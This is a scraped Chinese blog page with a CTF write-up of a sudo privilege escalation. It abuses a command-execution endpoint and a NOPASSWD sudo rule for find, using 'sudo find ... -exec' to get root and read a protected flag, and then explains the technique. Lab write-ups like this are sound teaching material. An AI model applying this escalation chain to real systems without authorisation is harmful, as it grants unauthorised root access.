当前位置: 首页 > news >正文

SUDO提权

Sudo 提权

向大佬致敬,太厉害了,四个月全勤,估计是写完题顺带写了wp

image-20250922212920305

[HZNUCTF 2023 final]ezgo

解题思路

Please POST 'shit' to /cmd

初始页面提示,post传参shit到/cmd路由

执行 shit=ls

"ls": executable file not found in $PATH
  • 系统默认的 $PATH 环境变量配置异常,无法直接找到 ls 等常用命令;
  • 必须使用绝对路径(如 /bin/ls)才能执行命令。

执行 shit=echo /bin/* 列出 /bin 目录下的所有可执行文件

/bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew

通过/bin/bash -c "ls -l"查看根目录(通过bash -c执行复杂命令),发现/flag文件(权限为 400,仅 root 可读)

total 11300
drwxr-xr-x   2 root root     4096 Mar 20  2023 bin
drwxr-xr-x   2 root root     4096 Dec  9  2022 boot
drwxr-xr-x   5 root root      340 Sep 22 11:47 dev
drwxr-xr-x   1 root root     4096 Sep 22 11:47 etc
-r--------   1 root root       45 Sep 22 11:47 flag
drwxr-xr-x   2 root root     4096 Dec  9  2022 home
...
-rwxr-xr-x   1 root root      181 Apr  3  2023 start.sh

读取start.sh脚本,获取系统配置细节:

  • flag 被写入/flag并设置了严格权限
  • 创建了ctf用户
  • 配置了 sudo 规则:允许 ctf 用户免密以 root 身份执行/usr/bin/find
#! /bin/bashecho $FLAG > /flag
chmod 400 /flag
useradd ctf
echo "ctf ALL=(root) NOPASSWD: /usr/bin/find" > /etc/sudoers.d/ctf && chmod 0440 /etc/sudoers.d/ctfsu - ctf -c "/main"

sudo -l验证权限配置

执行shit=/bin/bash -c "sudo -l",得到关键输出:

(root) NOPASSWD: /usr/bin/find:当前用户可免密码root 身份执行 /usr/bin/find 命令。

这是整个提权的核心漏洞点:find 命令可通过 -exec 参数执行其他命令,且继承 sudoroot 权限。

Matching Defaults entries for ctf on 7404fc8b50be4421:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser ctf may run the following commands on 7404fc8b50be4421:(root) NOPASSWD: /usr/bin/find

执行 shit=/bin/bash -c "sudo find /flag -exec id \;"

  • sudo find /flag:以 root 身份查找 /flag 文件;
  • -exec id \;:找到文件后执行 id 命令,输出 uid=0(root),确认已获得 root 权限。
uid=0(root) gid=0(root) groups=0(root)

执行sudo find /flag -exec cat flag \;,以 root 权限读取/flag内容

NSSCTF{042deeef-b178-40a7-bc9f-6ab66b11f5a2}

知识点提取

$PATH 环境变量机制:

  • Linux 执行命令时会默认在 $PATH 定义的目录列表中搜索可执行文件,若配置异常(如未包含 /bin/usr/bin),直接输入命令(如 ls)会提示 “executable file not found”。
  • 绕过方案:使用绝对路径(如 /bin/ls/bin/bash)直接指定命令位置,不受 $PATH 配置影响。

环境信息收集技巧

通过 echo /bin/* 等通配符命令可快速列出目标目录下的可执行文件,确认系统中可用的核心工具(如 bashcatsudo

Sudo 权限管理与漏洞点识别

  1. sudo 核心作用:允许普通用户临时以其他用户(默认 root)身份执行命令,权限范围由 /etc/sudoers/etc/sudoers.d/ 下的配置文件定义。

  2. sudo 权限探测命令sudo -l 可列出当前用户的 sudo 权限范围,无需实际执行高权限命令即可获取权限边界,是渗透测试中权限探测的 “黄金命令”。

  3. 关键漏洞点:sudo 过度授权:

    配置 ctf ALL=(root) NOPASSWD: /usr/bin/find 属于典型的 “过度授权” 漏洞:允许普通用户 ctf 以 root 身份免密执行 find 命令。

Sudo + find 提权原理与实践

  1. find 命令的特殊参数:-execfind 命令的 -exec 参数支持在找到符合条件的文件后,额外执行指定命令,语法为 find [目标路径/文件] -exec [待执行命令] \;\; 是参数结束标志)。
  2. 提权核心逻辑:当 find 通过 sudo 以 root 身份运行时,-exec 后续的命令会继承 root 权限,实现 “普通用户→sudo 调用 find→root 权限执行任意命令” 的提权链。
  3. 提权验证与利用流程:
    • 权限验证:通过 sudo find /flag -exec id \; 执行 id 命令,若输出 uid=0(root),则确认提权成功。
    • 目标达成:通过 sudo find /flag -exec cat /flag \; 调用 cat 命令读取 root 权限的 /flag 文件,获取最终目标。
http://www.hskmm.com/?act=detail&tid=13783

相关文章:

  • 2025.9.19 总结
  • 2025.9.18 总结
  • 越南文识别技术:将纸质文档和信息快速、准确地转化为可编辑、可检索的数字数据
  • 23
  • 9.22日总结
  • 9.16 总结
  • Halcon抛出异常日志
  • [PaperReading] Mind Search: Mimicking Human Minds Elicits Deep AI Searcher
  • 穷举法(c语言版)
  • ZYNQ PS 端 UART 接收数据素材帧(初学者友好版)嵌入式编程 C语言 c++ 软件开发
  • 详细介绍:深入理解Kafka事务
  • 能碳园区 / 工厂系统 - 智慧园区
  • 代码随想录算法训练营第五天 |242.有效的字母异位词、349. 两个数组的交集、第202题. 快乐数、1. 两数之和
  • Photoshop 2025 v26.0(PS2025)下载安装教程(含一键安装包下载)
  • 网络加速原理
  • 循环依赖问题
  • 无意中在应用层瞥见了一个微内核的操作系统调度器
  • 数据结构思维题选做(长期更新)
  • 政治笔记/错题
  • 9.22模拟赛总结
  • 莫队 n的序列,多次查询一段区间内的数字的个数
  • 【mysql】mysql客户端中文显示乱码
  • 揭秘“牛牛透视”
  • k8s系列--控制器yml(15)
  • 学生管理系统案例初步分析报告
  • 【mysql】mysql5.6 版本修改用户的登录
  • AT_abc200_e [ABC200E] Patisserie ABC 2 题解
  • 日总结 5
  • Linux驱动开发(1)概念、环境与代码框架 - 实践
  • Diffutoon下载介绍:真人视频转动漫工具,轻松获得上千点赞